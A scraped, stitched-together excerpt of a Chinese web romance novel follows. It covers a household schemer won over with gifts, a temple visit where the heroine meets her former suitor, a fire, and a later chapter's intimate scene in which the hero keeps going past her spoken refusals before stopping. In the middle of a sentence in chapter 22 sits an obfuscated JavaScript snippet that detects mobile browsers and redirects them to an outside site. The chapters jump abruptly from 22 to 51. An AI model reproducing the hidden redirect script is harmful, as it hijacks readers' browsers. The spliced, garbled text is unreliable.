晚青妤本不该过多过问萧秋折的私事,可是不知为何,她总想知道他十七岁那年到底经历了什么。 21. 第 21 章 这京城之中,除却皇子,再无哪位公子能比萧秋折的身份更为尊贵。他身负皇家血脉,又是朝中人人敬仰的权臣,虽母亲早逝,父亲风流成性,倒也不至于遭遇什么大劫。 姚悦此番前来,本是为自己讨个公道,谁知话锋一转,竟扯到了旁处。她素来话多,又爱嚼舌根,既然话头已起,索性便顺着说下去。 而一旁的方于见晚青妤又提起此事,不由得在原地踱了几步,随即轻咳几声,似在提醒。 姚悦正欲开口,忽听得方于咳嗽,秀眉微蹙,这才想起方于乃是萧秋折的心腹。她在此处议论萧秋折,难免会传入他耳中。虽说她心中对萧秋折颇为不满,却也不想因此惹上麻烦,毕竟萧秋折行事向来霸道,府中大小事务皆由他一手掌控,王爷又不在府中,若真惹恼了他,日后吃亏的恐怕还是自己。 思及此,姚悦话锋一转,道:“今日倒不是闲聊的时候,我此来是想问问少夫人,可愿尊我一声婆母?” 晚青妤见她止住了话头,目光转向方于,方于见状,急忙背过身去,伸手轻抠门框,显然不敢多言。 晚青妤也没再追问,转而柔声对姚悦道:“青妤自然是要尊您一声婆母的。只是您这般年轻貌美,瞧着比我还年轻几分,眼光独到,衣着打扮更是出众,站在众女子之中,定是鹤立鸡群。青妤这般模样与您并肩而立,旁人见了,怕是要分不清谁是婆母呢!” 她声音温婉,语气和善,随即唤来玉儿,将事先备好的礼物呈上,笑道:“美人自当配美玉,这里有一对上好的白玉镯子,是从宝兴淘来的,质地细腻,洁白无瑕。听闻太后娘娘与皇后娘娘也曾佩戴过类似的白玉镯子,戴上它不仅能增色添彩,更能彰显身份。今日送给您,望您能喜欢。” 晚青妤言辞恳切,句句入心,姚悦未曾料到她竟会如此行事,一时被她夸得眉目舒展,竟不知该如何回应。 晚青妤拿起一只白玉镯子,执起姚悦的手,为她戴上,随即轻笑道:“您瞧,这手本就生得极美,戴上这镯子,更显得光彩照人。” 话未说完,晚青妤又接着道:“我知您身子一向不大好,但有些病拖不得,时日久了,小病也能拖成大病。先前听方于提起,宫中有位太医医术高明,曾为萧秋折诊治,当真妙手回春,尤其擅长医治疑难杂症。人生苦短,您日后还有大好年华,万不可被病痛消磨了光阴。此事您尽管放心,我定会请太医为您诊治,还会派人四处寻访名医,无论如何都要将您的病根治。” “还有,我见您平日用的饭菜似乎不太适合养病,便特意为您更换了些新的食谱。您院中也有多年未曾修缮,我已吩咐工匠,待天气好些便为您好生修整一番。” 晚青妤心思细腻,事事周全,句句说到姚悦心坎里。姚悦虽性子强势,但病痛缠身已久,早已对生活失了盼头。她本以为自己会这般浑浑噩噩度过余生,甚至想过一死了之,毕竟她无亲无故,王爷又对她不闻不问。 然而今日,晚青妤的关怀却让她心头一暖。虽知其中或许有些虚情假意,但从晚青妤口中说出来,却让她感到无比舒心。 晚青妤见她一时愣住,便又笑道:“眼下已是晚膳时分,不如您留下来一同用饭?我让吩咐厨房多备几道您爱吃的饭菜。” 姚悦闻言,本能地站起身来,瞧了瞧腕上价值不菲的白玉镯子,眼中不知不觉溢满了笑意,回道:“不必了,我回去用便是。你可别忘了让太医来为我诊治。” 这几年来,王爷不关心,府上的医师也鲜少为她诊治。每每病发,她只能派人出府寻医,还从未有过太医为她看病。如今晚青妤主动提出请太医过来,她心中自是欢喜。 晚青妤也站起身来,柔声安抚道:“您且放心回去,明日我便派人去宫中请太医。夜晚天凉,就不多留您了。玉儿,快送送四夫人。” 玉儿闻言,急忙上前向姚悦行了一礼。姚悦望着晚青妤那双温柔而真诚的眼眸,轻轻笑了笑,随玉儿出了房间。 姚悦刚走远,方于便长舒了一口气,心中不禁佩服晚青妤的言辞之巧。那些温柔的话语,连他听了都觉得无比暖心。 玉儿送走姚悦后,回来吩咐方于去大门外看看萧秋折为何还未回府。方于在门外转了一圈,未见萧秋折的身影,回来对玉儿道:“公子平日事务繁忙,以往亥时回府都算早的,今日怕是也忙得脱不开身。不如你先让夫人用饭休息,我去岳堂看看。” 玉儿思忖着昨日晚青妤与萧秋折生了些嫌隙,今日又未曾见面,怕时间久了二人心生隔阂,便让方于跑一趟岳堂。 玉儿回屋询问晚青妤是否要用饭,晚青妤瞧了瞧天色,本想等萧秋折回来再一同用,但她今日身子实在不适,只得让厨房上了饭菜,匆匆用了一些。 晚膳后,晚青妤本欲早些歇息,可走到偏房,见床铺空空,不由得轻叹一声。她此次回府,本是与萧秋折做了交易,不能让人知晓她的真实意图,尤其是太妃。在太妃眼中,她与萧秋折乃是真正的夫妻,同床共枕乃是常理。若二人长期分居,难免令太妃生疑。 无奈之下,她只得去了主卧,暂且歇息一会,待萧秋折回来再做商议。主卧中除了一套新换的被褥,一切如旧。 晚青妤走到书柜前,望着满柜的书籍,不禁感叹萧秋折果然是个爱书之人,卧房中的书籍琳琅满目,大多是她未曾见过的建筑类与兵书典籍。 他能有如今的成就,定是下了不少旁人所不能及的功夫。 她缓步踱至书桌前,眸光微凝,只见昔日写给萧秋折的那些信笺仍静静躺在原处,只是那束信的素白丝带已然解开,其中一封更是散落一旁,显是被人翻阅过。 他不会还在看这些信吧? 晚青妤心中微震,颊边不觉泛起一抹嫣红。 如今,他们已不是当初不知天高地厚的少年,也不是可以随意道出感情的少男少女,他再看这些信,一定会觉得尴尬吧! 她凑近细看,只见信封上仅有一小截柳枝,已辨不清是何年何月所寄。不过她清晰记得,其中有一封信,内容言辞直白,情意炽烈。 那日,她也不知怎的,在屡次寄信未得回音后,仍执意再书一封。然而,笔尖游走间,泪水竟不受控地滑落,打湿了执笔的素手,也浸透了纸笺。 信中有一段如是写道:萧秋折,我知你如九天明月,遥不可及。我知你如拂面春风,转瞬即逝。我知你如指间清泉,难以挽留。然而,萧秋折,我心已随你而动,愿做那月下万物,被你光华照耀。愿做那春日花朵,被你轻抚而过。更愿做那泉中游鱼,与你共赴碧波。萧秋折,茫茫人海,得遇你,我心甚喜。愿你如明月般璀璨夺目,亦愿你回眸一顾。我眼中藏有浩瀚星河,亦泊着一叶可载你我之舟。 那时,情到深处,所道出的感情也是那般浓烈。 忆及此处,她轻叹一声,颊边红晕更甚了几分。 她指尖轻触滚烫的脸颊,缓步移至床畔坐下,心中波澜起伏,困意全无。想到要在他的床榻上安寝,更是泛起一丝羞涩。 她起身重回桌前,斟了杯清茶,随手拿起一卷书册翻阅。 她原以为,即便再忙,他今夜也会归府。然而,她等啊等,等啊等,却始 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李嬷嬷上前,笑道:“少夫人,今日天朗气清,定能求得佳兆。观音庙路途稍远,往返需一日行程,请您速让玉儿为您打点。” 太妃此举,可谓用心良苦,晚青妤无奈,只得随玉儿装扮。 玉儿特意挑选了一件儒雅衣裳,此衣亦是萧秋折为晚青妤所备。玉儿愈发觉得萧秋折心思细腻,各类衣裳鞋履皆备齐全,连上香之服亦在其中。 晚青妤简单挽起发髻,匆匆用过早膳,便前往太妃院中。 刚入院,便见一袭鹅黄衣衫的萧芮欢快迎上,甜声唤道:“嫂嫂!” “妹妹!”晚青妤亦热情回应,握住她伸来的手。 萧芮今日衣着虽朴素,却难掩其灵动俊俏之姿。 萧芮挽着她往太妃屋中行去,低声细语:“其实我本不该去,但闻嫂嫂前往,我便想同行。许久未出门,家中实在闷得慌。” 晚青妤含笑回道:“妹妹若觉闷,日后可来翠玉轩寻我。” 萧芮点头,问道:“嫂嫂,您那位小弟弟要在府上住多久?昨日我听絮哥哥言,他已住进亲王府。” 萧絮已见过晚青桁? 晚青妤本不欲此事传开,未料萧絮竟已得知。 她沉吟片刻,回道:“青桁暂住几日,待我们回府,妹妹可去寻他,他琴艺甚佳,可让他为你弹奏。” “当真?”萧芮眼中闪过一丝兴奋,“那太好了!我最喜有才之人,定要前去聆听。” 二人谈笑间已至太妃屋中,太妃已准备妥当。二人请安后,便随太妃登上前往观音庙的马车。 因路途遥远,他们便多带了些随从和护卫。 亲王府至观音庙确有一段距离,他们行了约两三个时辰方至。 观音庙坐落于山巅,马车沿山道蜿蜒而上。 至庙门前,却见几辆华贵马车停驻。 萧芮好奇掀帘张望,忽见人群中一位与她年纪相仿的姑娘。 她兴奋招手,喊道:“云汐妹妹,真巧,竟在此相遇。” 云汐妹妹? 晚青妤循声望去,只见一位粉衣少女看见萧芮后,欢快奔来。 那姑娘……是付钰书的妹妹付云汐。 那,这些马车都是付家的?付家也来上香了? 晚青妤心中一惊,再向人群中望去,只见一道熟悉身影格外醒目。 青山之下,白衣飘飘,身姿如画。 他……怎么也来了? 22. 第 22 章 今日天朗气清,碧空如洗,正是烧香祈福的良辰吉日。 观音庙巍然矗立于高山之巅,庙宇嵌于峭壁之中,气势恢宏,令人望之肃然起敬。此庙已历经百年风雨,乃是京城附近最为灵验的观音庙,常有达官显贵前来参拜。 然而,晚青妤万万未曾料到,今日竟会在此遇见付家人,且是付夫人携一众家眷前来上香。这般巧合,实在令人心生诧异。 “嫂嫂,那是付钰书哥哥的妹妹,付云汐。”萧芮匆匆下车,不忘向她介绍。 此时,马车已悉数停下,晚青妤见太妃亦已下车,只得随之而下。 付云汐快步上前,握住萧芮的手,欣喜道:“姐姐,许久未见,实在想念得紧。今日随母亲前来,果然不虚此行,竟能遇见芮姐姐。” 付云汐与萧芮年纪相仿,昔日二人同在乐坊习琴,渐渐成了无话不谈的闺中密友。 付云汐比付钰书小四岁,幼时常随兄长前往晚家,也与晚青妤相识,那时还经常一同玩耍。但自晚青妤出嫁后,迁居山中,二人便鲜少相见。 当年晚青妤与萧秋折订婚之后,付云汐曾寻上门来,泪如雨下,质问她为何抛弃自家哥哥,还说哥哥对她情深义重,她不能随意抛弃。彼时,晚青妤心中酸楚,却无言以对。 如今在此重逢,场面难免尴尬。 晚青妤下车后,付云汐一眼便瞧见了她,略带惊讶地唤道:“青妤姐姐?” 晚青妤虽觉窘迫,仍上前轻声道:“云汐妹妹。” 一旁的萧芮这才恍然,付家与晚家素来交好,二人想必早已相识。 付云汐生得明眸皓齿,身量与萧芮相仿,却比萧芮更显温婉,眉眼间颇有付钰书的书卷气。她一双明眸凝视着晚青妤,满是不解。她知晓晚青妤与萧秋折的和离之事,亦知二人即将分道扬镳,却不知她为何此时会随萧家一同前来上香。 她忍不住问道:“青妤姐姐何时回来的?怎么……” 她目光转向萧芮。 萧芮挽住晚青妤的手,笑吟吟道:“嫂嫂前几日刚回来,往后便不走了。今日太妃带我们前来上香,也是盼着她与秋折哥哥早生贵子呢。” 早生贵子? 付云汐几乎难以置信地看向晚青妤。她与萧秋折不是利益联姻吗?不是说好三年后和离吗?如今两年已过,自家哥哥苦等她两年,她怎会突然转变心意,要与萧秋折生儿育女? 晚青妤知她心中震惊,却不愿多言,只淡淡一笑,道:“你们姐妹俩好好叙旧,我去陪陪太妃。” 言罢,她转身朝太妃走去,留下付云汐依旧怔在原地,心中波澜难平。 太妃也未曾料到今日竟会在此遇见付家人。付家在京城乃至整个奕国皆是举足轻重的世家,门下才子如云,付家人在京城与皇室中皆备受尊崇。 昔日亦有付家女子入宫为妃,然前朝皇帝因一付家女子在后宫传递异端思想而心生芥蒂,自此不再允付家女子入宫。那几年,付家几近倾覆,幸得付钰书之祖父创出“固派”文学,助皇帝治国安邦,方得重振家声。 “固派”文学思想影响深远,涵盖等级固化、个体权利忽视、女性压迫、思想文化保守、道德严苛、经济社稷限制等诸多方面。虽有其积极意义,然部分内容被异化为统治工具,成为禁锢思想、固化社稷的枷锁。此思想盛行之时,虽得皇室推崇,然亦有反对之声,太妃之舅李贺便是其中之一。 李贺乃前朝功臣,文武双全,清正廉明,坚决反对“固派”流传。然皇帝为治国之便,置众臣反对于不顾,默许“固派”思想在民间传播。 李贺临终前仍愤愤不平,道:“以礼教为枷锁,以圣贤为牢笼,腐儒烹煮千年,百姓皆成道德祭坛上的冷炙。” 此事太妃至今记忆犹新,虽表面对付家人恭敬有加,心中实则不甚喜之。然治国之道非她所能左右,为免给奕国添乱,在外自当以和为贵。 付夫人乃付钰书嫡母,出身高贵,自幼饱读诗书,容貌秀丽,曾与萧秋折之母并称京城“双璧”。付钰书承袭其母风范,眉眼气质皆与付夫人极为相似。 付夫人一向知礼,见太妃轿至,立即命人将马车避至一旁,率付家众人上前行礼问安。 太妃令众人起身,目光落在付钰书身上,她含笑招手,问道:“钰书今日怎得空前来?” 观音庙上香多为女眷之事,付钰书今日竟也现身此处。太妃曾听闻过付钰书与晚青妤之事,然当时只觉年少情浅,过几年自会淡忘,故未放在心上。如今两年过去,她以为二人早已放下那段不成熟的感情,见面亦不觉尴尬,所以才热情相唤。 付钰书上前深深一礼,道:“钰书拜见太妃。因游学多年,未曾陪母亲上香,今日特来尽孝,虔诚祭拜。” 太妃细细打量他,笑道:“两年不见,模样变了不少,愈发英俊挺拔,简直恍若仙人。” 太妃素来善夸,然付钰书确实比以往更加俊朗沉稳,待人接物温雅有礼。他谦逊道:“多谢太妃夸赞,钰书不敢当。” 太妃亲自扶他起身,对付夫人道:“时光荏苒,记得秋折儿时,我常带他去你们付家私塾,那时钰书尚小,总跟在秋折身后唤‘哥哥’,虽年幼却好学,我当时便觉他日后必成大器。如今中了探花,果真不凡。” 付夫人谦笑道:“太妃过奖了,钰书怎敢与秋折相比。”她四下张望,问道:“秋折今日怎未同来?” 太妃笑回:“他整日忙得不着家,抽不开身,我今日带孙媳妇青妤来的。” 提及晚青妤,付夫人目光落在她身上,自她下马车时便已注意到了。付夫人走近晚青妤,细细端详,笑道:“许久不见,青妤愈发漂亮了,也让伯母好生想念。” 晚青妤幼时常去付家玩耍,付夫人待她极好,常命厨房变着花样为她准备美食。虽当初萧秋折横刀夺爱,晚青妤与付钰书未能终成眷属,然付夫人并不介怀,毕竟感情之事,外人难以插手。只是见儿子伤心,她心中也不免难过。 晚青妤颔首一礼,回道:“多谢付夫人惦记,青妤已回府数日。” 付夫人温然点头,侧目看了一眼身旁的付钰书。 付钰书紧随母亲,立于一旁,时下他紧紧望着晚青妤,期盼、欣喜、疼惜、不解、不甘全都糅杂在他那双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15032074|161760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好看的眼睛里。 半晌,他彬彬有礼地冲晚青妤轻轻一笑,叫了一声:“青妤。” —— 萧秋折昨夜本欲回府歇息,甫出岳堂,便有下人匆匆来报,说言书堂潜逃之人已被擒获,需他即刻前去审问。为顾全大局,萧秋折只得匆匆赶往。 方于亦随后寻至,二人略作交谈,方于细述府中诸事,提及晚青妤治家有方,连那素来跋扈的四夫人亦被她治得服服帖帖。萧秋折闻言,心中稍安,遂专心处置手头之事。 那潜逃者狡猾难缠,萧秋折审问整夜,方得一丝线索。天刚破晓,他便匆匆用了几口饭食,携方齐和方于二人前去追查。 萧秋折行事向来尽心竭力,甚至不顾己身,方于忍不住劝道:“太妃盼你早日得子,你这般糟践身子,如何是好?听闻受孕之前,夫妻二人皆需调养,方能诞下康健孩儿。李嬷嬷已催促少夫人多进补品,一会儿催她吃水果,一会儿催她喝汤,你这边可不能松懈。” 萧秋折闻言,低声问:“她……可曾接受?” 依她的性子,若不愿与他生子,必不会顺从。 方于点头,嘿嘿笑道:“命令是太妃下的,她不好推脱,已经欣然接受了。” 她接受了。 萧秋折抚了抚衣袖,唇角悄然浮起一抹笑意。 三人忙碌到午时才得片刻喘息,正欲用膳,突然有人过来禀告,说言书堂起了大火,萧秋折当即撂下碗筷,策马疾驰而去。 言书堂地处城中,距皇宫不远,三人尚未抵达,便见烈焰冲天,浓烟滚滚。四周人声鼎沸,百姓提桶端盆,奔走呼号,水泼火中,嗤嗤作响,却难阻火势蔓延。 萧秋折未等马儿停稳,便跃下马背,急问:“可有人困在里面?” 一小厮满面尘灰,颤声回道:“晚大人尚在里头。” 晚青禾? 萧秋折心头一紧,四下张望,只见火舌肆虐,言书堂已陷火海,若真有人困于其中,必难生还。 “萧大人。”张攸年衣衫凌乱,满面烟尘,踉跄奔来:“快,快救火,青禾还在里头。” 他衣衫焦黑,显是刚从火中逃出。 眼看火势愈烈,院门已塌,无人敢入。 方齐和方于急得团团转,萧秋折却已脱下外袍,沉声吩咐:“速去调人马救火。” 方齐得令骑上快马前去调人。 萧秋折夺过小厮手中水桶,将外袍浸湿,披于身上,又撕下一块衣料掩住口鼻,毅然向火海冲去。 方于见状,大惊失色,急忙上前阻拦:“公子不可,火势凶猛,您进去便是送死。” 萧秋折仿若未闻,甩开他,丢下一句“人必须救”,便冲进了大火中。 此时火光冲天,言书堂最后一间房屋轰然倒塌,连那最坚实的梁柱亦被烧得面目全非。 方于欲冲入火中去拉萧秋折,结果却被坠落的木梁砸中,眼睛也被浓烟熏得睁不开。 他揉着眼,对着漫天火海撕心裂肺地喊了一声:“公子,你快出来。” 然而,前行的人没有一丝回应,很快消失在了火海中。 50-60 第51章 第51章她的主动让萧秋折意乱:…… 晚青妤的心跳如擂鼓般急促,耳畔是他低沉的呼吸声,灼热的气息喷洒在她的颈侧,激起一阵细微的战栗。 她想要躲开,却被他牢牢禁锢在怀中,动弹不得。他的手掌温热而有力,是隔着 薄薄的衣衫令她心慌的温度。 “你……你冷静些。”她勉强开口,声音却软糯得不行,连她自己都听出了动摇。 他低笑一声,接着唇已覆了上来,带着灼人的热度,触碰上的瞬间温柔得让她心颤,她的手指攥紧他的衣襟,眼睫不停地颤动。 他的手掌顺着她的脊背缓缓下滑,指尖所过之处,带起一片酥麻。她微微一颤,呼吸愈发急促,脑海中一片混沌,她的喉咙发紧,想要说些什么,却被他再次封住了唇。 他的吻更加深入,带着不容抗拒的占有欲,仿佛要将她整个人都揉进骨血里。 她的理智在他的攻势下节节败退,身子软化了,只能靠在他的怀里,任由他亲着。 他的手掌抚过她的腰际,指尖轻轻摩挲,激起一阵阵心悸的颤栗。她的呼吸愈发急促,紧抓他的肩背,仿佛只有这样,才能勉强稳住自己。 “别……”她努力让自己清醒。 “晚青妤……”他的声音低哑得几乎听不清,“就要。” 吻渐渐下移,她的指尖无意识掐入他的皮肉里。 “你……你别这样……”她哀求他。 他又低笑一声。 “你明明也想要。” “……我不想。” 她的脸颊瞬间烧得通红,想要起身,却被他再次扣紧。他开始吻得温柔缠绵,要将她所有的抗拒都融化在他的怀里。 她没了理智,手臂攀上他的脖颈,迷迷糊糊地回应着他的吻。 她生涩地用舌尖探了一下,还未收回就被他捉住了。 “唔……” 夜色愈深,屋中尽是两人交缠的呼吸声。 他的手掌抚过她的发丝,指尖摩挲她的耳垂,接着落在她的肩头,褪去了她大半衣衫。 衣衫一落,她深吸了口气,一把抓住他伸来的手,睁了睁眼,努力让自己清醒一点。 他动了动手指,她紧抓着不放,他又去亲她,却被她咬了一口,他吃疼地“哼”了一声:“晚青妤。” 晚青妤猛地推他,她推得急,试图将两个人推醒。 萧秋折被她推到一旁,脑子顿时清醒了一些,只是激情一时难以平息,眼中的欲、火依旧燃烧得旺盛。他伸手想要再去揽她入怀,结果她往前一躲,他没能抓住她的手臂,反而抓住了她的一只脚腕。 她往前爬了两下,他往后扯了扯,她拍了一下他的手背,嗔道:“你冷静一点!” 他此时哪能冷静下来? 他顺势将她的腿往自己跟前一拉,她嗔了一声,抓住床沿,奋力往前爬。两人如此拉扯了一会儿,晚青妤终于抠开了他的手指,迅速下了床,走到桌边将蜡烛点亮。 烛光亮起,房间里顿时通火明亮。 晚青妤回头看了一眼,只见萧秋折正坐在床边,目光灼灼地望着她。两人对视上,皆是怔住。方才在黑暗中,彼此还能遮掩几分羞赧,如今烛光下,四目相对,双方眼中的情、欲显露无疑。 晚青妤的脸红得像熟透的柿子,她捂着脸颊坐了下来,心脏砰砰直跳。 萧秋折的衣裳凌乱,坐在床边,摸了摸自己滚烫的脸,低声笑了笑。这笑里带着几分无奈,几分羞恼,更多的是对晚青妤的宠溺。 房间里安静了片刻,气氛依旧暧昧。晚青妤端起桌上的茶水,咕咚咕咚喝了一大杯。 萧秋折轻叹一声,挠了挠额头,下床走到她身边坐下。 晚青妤见他靠近,下意识地捂住自己的衣裳。 萧秋折哭笑不得,伸手在她额头上轻轻敲了一下:“担心什么?你若不愿意,我不强迫你。我们等下次。” 他说完,也给自己倒了一杯茶,一饮而尽,随后捧住她的脸,轻轻揉了揉,望着她水艳的嘴唇还是道:“那亲吻总可以吧?” 还想再亲。 晚青妤羞得一句话说不出来,只觉得浑身滚烫,心跳如雷。她从未像今天这般紧张过,紧张到连张口都变得困难。她眨了眨眼,深吸一口气,勉强开口道:“还是别了……待会儿你又控制不住自己。” 又要不管不顾。 萧秋折往她跟前凑了凑,扯了扯她的手臂,歪头看着她。见她眼中还残留着几分情动,伸手捏住她的下巴,往前倾身,一口咬住她的下唇,力道虽轻,却带着几分惩罚的意味。 “方才你几次都想咬我,现在也让我咬一咬,好让我解解身上的火。” 晚青妤被他这一咬,唇上微微发疼,忍不住轻哼了一声。这一声轻哼瞬间勾起了萧秋折心中的火,他一把扣住她的后脑,吻了上去。 他的吻深情而炽热,舌尖轻轻勾住她的,软软的触感让两人身子都在发颤,浑身的血液都在沸腾。 晚青妤原本还能克制,可不知为何,隔了这一会儿,她的情动比之前更甚,也许是因为他吻得太深情。 她试着回应他,舌尖与他纠缠,情难自已地动了动身子,随后站了起来,往前一靠,坐在了他的腿上,双手勾住了他的脖颈。 她这突如其来的主动让萧秋折心中一阵狂跳,他一把将她搂紧,激动地回吻她。 她的唇又软又甜,她身上也香香的,触手之处皆是柔软,令他恨不得将她揉进自己的身体里。 晚青妤轻轻唤了一声,声音娇软而缠绵。她的主动让萧秋折意乱:“多亲我一会……” 她的吻有些生涩,从他的唇间滑过,舌尖轻触,激得他不行。他的手掌缓缓滑至她的腰间,将她往怀里带了带,让她坐的更舒服一些。她的呼吸也很急促,胸口起起伏伏。 “晚青妤……”蹭得他心痒难耐,他觉得自己又要失控了,浑身上下燥热的不行,伸手扯了扯自己的衣领,将上身的衣衫褪去一半。 晚青妤吻得情难自制,指尖从他的脸颊滑至他的脖颈,再抓向他坚实的臂膀,最后缓缓抚上他的后背。 两个人均已忘乎所以,晚青妤迷迷糊糊的,手背在他背上轻抚,忽然间,她摸到一片别样触感,顿时,她的手倏然僵住,脑子也清醒了几分。 他后背上并非光滑的肌肤,而是一片凹凸不平粗糙得令人心惊的东西,也不知是不是疤痕。 她的手指微微颤动了几下,立即缩了回来,然后离开了他的唇。 萧秋折也是身子一僵,随即停下了动作。 房间里骤然安静,无无一丝声音。 烛火在桌上摇曳,映得两人的脸庞忽明忽暗。 晚青妤怔了一会,稍稍退开一些,近在咫尺地望着他,眼中带着几分惶然。 萧秋折的瞳孔微微收缩,眼睫轻颤,眉头微蹙。他轻轻推开她,迅速将衣衫穿好,神情间尽是难以言喻的复杂与慌乱。 晚青妤的手悬在半空,一时不知该如何收回。她忽然想起方瑜曾对她说过的话:“你若想知道萧秋折七年前发生了什么,只需看看他的后背便知。” 她曾几次试图窥探,却总被他避开。他曾对她说,日后会亲自告诉她,不必听旁人议论。可如今,她亲手触到,好像难以承受,那并非普通伤疤才有的触感。 房间里静得可怕,晚青妤一时没敢出声。 萧秋折抬眸看了她,目光沉沉,又压抑的情绪垂下眼,而后扶着她起身,低声道:“去厨房看看饭菜好了没有,我有些饿了。” 他的语气虽平静,却难掩苦涩,他转身向门外走。 晚青妤知道她的无意识举动可能触碰到了他的秘密。她张了张口,叫了一声:“萧秋折……” 萧秋折顿住脚步。 她走上前,握住他的手,轻声道:“我刚才不是故意的,你别生气。” 萧秋折的手指在她掌心收紧:“先吃饭吧,我很饿。” 晚青妤没再言,二人牵着手出了房间。雨依旧淅淅沥沥地下着,春雨总是连绵不断。 他们沿着长廊一路向膳厅走去,谁都没有再说话。 萧秋折显然对他背后的秘密极为介怀。多年来,他从不让人近身更衣,在亲王府同房而睡时,他也总是衣 衫整齐,未曾褪下半分。 那背后的伤痕,也许就是他心底最深处的禁忌,也是他人生中最痛苦的秘密,无人能触及,也无人能窥探,埋藏多年,仍不愿与人提及。 膳厅里备好了丰盛的饭菜,两人净了手,相对而坐。 萧秋折自方才起便有些出神,他好像很介意他方才的触碰,她心中不免泛起阵阵心疼。 她为他夹了几道菜,又盛了一碗粥,轻声说道:“我们相识这么久,你还从未在晚府用过膳。今日尝尝我们家厨子的手艺,看看合不合你的胃口?若是喜欢,日后可以常来。” 萧秋折拿起筷子,尝了一口菜,应道:“比亲王府的可口。” “尝尝这个酥饼,是我们厨子的拿手绝活。”晚青妤又给他夹了一块酥饼。 萧秋折安静地吃着。 晚青妤见他情绪依旧低落,思忖了一会,轻声道:“其实,每个人都会经历一些不好的事情。我小时候也曾顽皮,爬到树上摘枣子,结果一不小心摔了下来,腿上留下了一道长长的伤疤。” 她说着,轻轻撩起裙摆,露出小腿上那道疤痕,笑道:“你看,是不是很丑?” 她开始试图安慰他。 萧秋折低头望去,只见她白皙纤细的小腿上,赫然横着一道长长的伤疤,虽已淡去,却依旧清晰可见。他眉头微蹙,心中不禁泛起一阵怜惜,问她:“疼吗?” 晚青妤摇头道:“早就不疼了,不过那时伤口确实挺深的,大夫说可能会留下疤痕。外祖母当时自责得不行,总念叨着没看好我,还担心我以后嫁了人,夫君若是见了这疤,会不会嫌弃我。” 她轻笑一声:“外祖母总是顾虑那么多,我便告诉她,若是因为这道疤就不爱我、嫌弃我,那我绝不会与这样的人相伴一生。你看我二哥,他身上伤痕累累,几乎没一处完好的皮肤,腿也不知何时才能站起来,或许这辈子都只能躺在床上,最好的情况也不过是坐轮椅。可我嫂嫂从未有过一句怨言,除了心疼,便是日日夜夜耐心地照料他。这便是相爱的模样。我二哥怕嫂嫂担心,即便伤口疼得厉害,也咬牙一声不吭。” “人这一生,哪能十全十美,或多或少都会留下一些伤痕。可这些伤痕,并非代表我们最不堪的一面,体验过苦难,才能更加珍惜当下的幸福。” 萧秋折望着她,看着她说话时温柔的神情,听着她言语中的鼓励,眼中忽然泛起一丝酸涩,心头仿佛被什么揪住,酸胀得厉害。 这世上怎会有如此美好的女子呢? 她不是害怕,不是嫌弃,而是耐心的安抚他。 可,有些事,他却始终难以启齿。 那日,付钰书曾对他说:“若晚青妤知道你七年前所经历的事,或许会不愿与你在一起。”这句话如同一根刺,深深扎在他心底,令他矛盾不已。 这些年,他原以为自己在朝堂上、在百姓心中有了地位,便能多几分自信与骄傲。可如今面对晚青妤,他忽然觉得,那些所谓的傲气与自信,竟在一瞬间崩塌。这些年强撑的意志,似乎也在她温柔的目光中渐渐动摇。 他伸手取了一只虾,慢慢剥着,可手指却微微发颤,虾壳坚硬,怎么也剥不开。他心中愈发急躁,手上不自觉地用了力。 “让我来。”晚青妤拿走他手中的虾,“先将虾头取下,然后再剥壳,会容易一些。” 她将剥好的虾放入他的碟中,又取了一只继续剥起来,不一会儿,他的盘子里便堆了几只的虾仁。 这七年来,萧秋折从未像今日这般,觉得一顿饭如此难以下咽。 一时间,心中复杂的情绪压得他几乎喘不过气。原来,只是被她触上一下他就慌乱的不行,哪还有勇气全部相告呢?以前,他好像太高估自己的心理素质了。 过了许久,他的心情才稍稍平复。他夹了一道菜放入她的碟中,又为她盛了一碗粥,轻问道:“你何时能回亲王府?我一个人住在兰风居,总觉得冷冷清清,心里空落落的。晚青妤,我想让你回去。” 如今的他,仿佛一刻也离不开她。只要每日能看着她,听着她的声音,他便觉得心中满是欢喜与满足。他不想再独自躺在冰冷的床榻上,只想每日抱着她睡。 提到回亲王府,晚青妤不由得想起太后先前的话。太后说,不愿听到他们琴瑟和鸣,她搬回亲王府的消息。如今局势复杂,许多事情尚未解决,甚至她四弟下落不明。即便她心中想回亲王府,但为了大局,她也不能轻易回去。 她放下筷子,看向萧秋折,神情认真:“萧秋折,并非我不想回去。你也知道如今的情况,我二哥伤势严重,我总是挂念。这两年我搬到山上住,很少陪伴家人,如今我只想好好珍惜与他们相处的时间。还有……我很抱歉,原本答应帮你打理亲王府,结果不仅没能帮上忙,还把管理权弄丢了。不过你放心,等所有事情尘埃落定,等晚家脱离危险,若你需要,我会再回亲王府,帮你打理。” 帮他打理……萧秋折对她道:“你是我的妻子,回亲王府是回自己的家,并非是为了帮我。” 她何必分这么清。 晚青妤怕他太过理想化,若结局不如人意,只能让他更伤心。她思忖了一会,轻声道:“其实……我在宫中见到了小皇子,也见到了他身上的玉佩。那块玉佩与我的几乎一模一样,或许……我与小皇子之间,真的有些渊源。” 当时她在小皇子的眉眼中隐约发现了些什么,也有些慌乱。 这事,这几日也一直烦扰着她,她很希望尽快查清楚,与他安心在一起。她无权无势,连皇宫都进不了,也无从查起,她想让他帮忙去查查。 萧秋折见她又提起这件事,心中略有烦躁:“不要再提这件事了,我说过,我们谁都不要再谈,也不要去查。既然皇家没有再继续寻找皇贵妃丢失的女儿,那这件事就让它过去吧。我们以后好好过日子,不行吗?” 晚青妤却比他冷静许多,她轻轻叹了口气,道:“这件事,我们都需要冷静考虑。这不是小事,牵扯到皇家,你也知道皇家的手段和规矩。到时候,除了世俗的偏见,恐怕还会有皇室的干涉。后果可能不只是被唾弃那么简单。” “我还是觉得,这件事必须查清楚。若查清后,我与小皇子并非亲姐弟,与你也没有任何血亲关系,那我便安心回亲王府,陪在你身边。我们可以春天赏花,冬天看雪,再生一两个孩子,过我们想要的生活。” “但是,如果……” 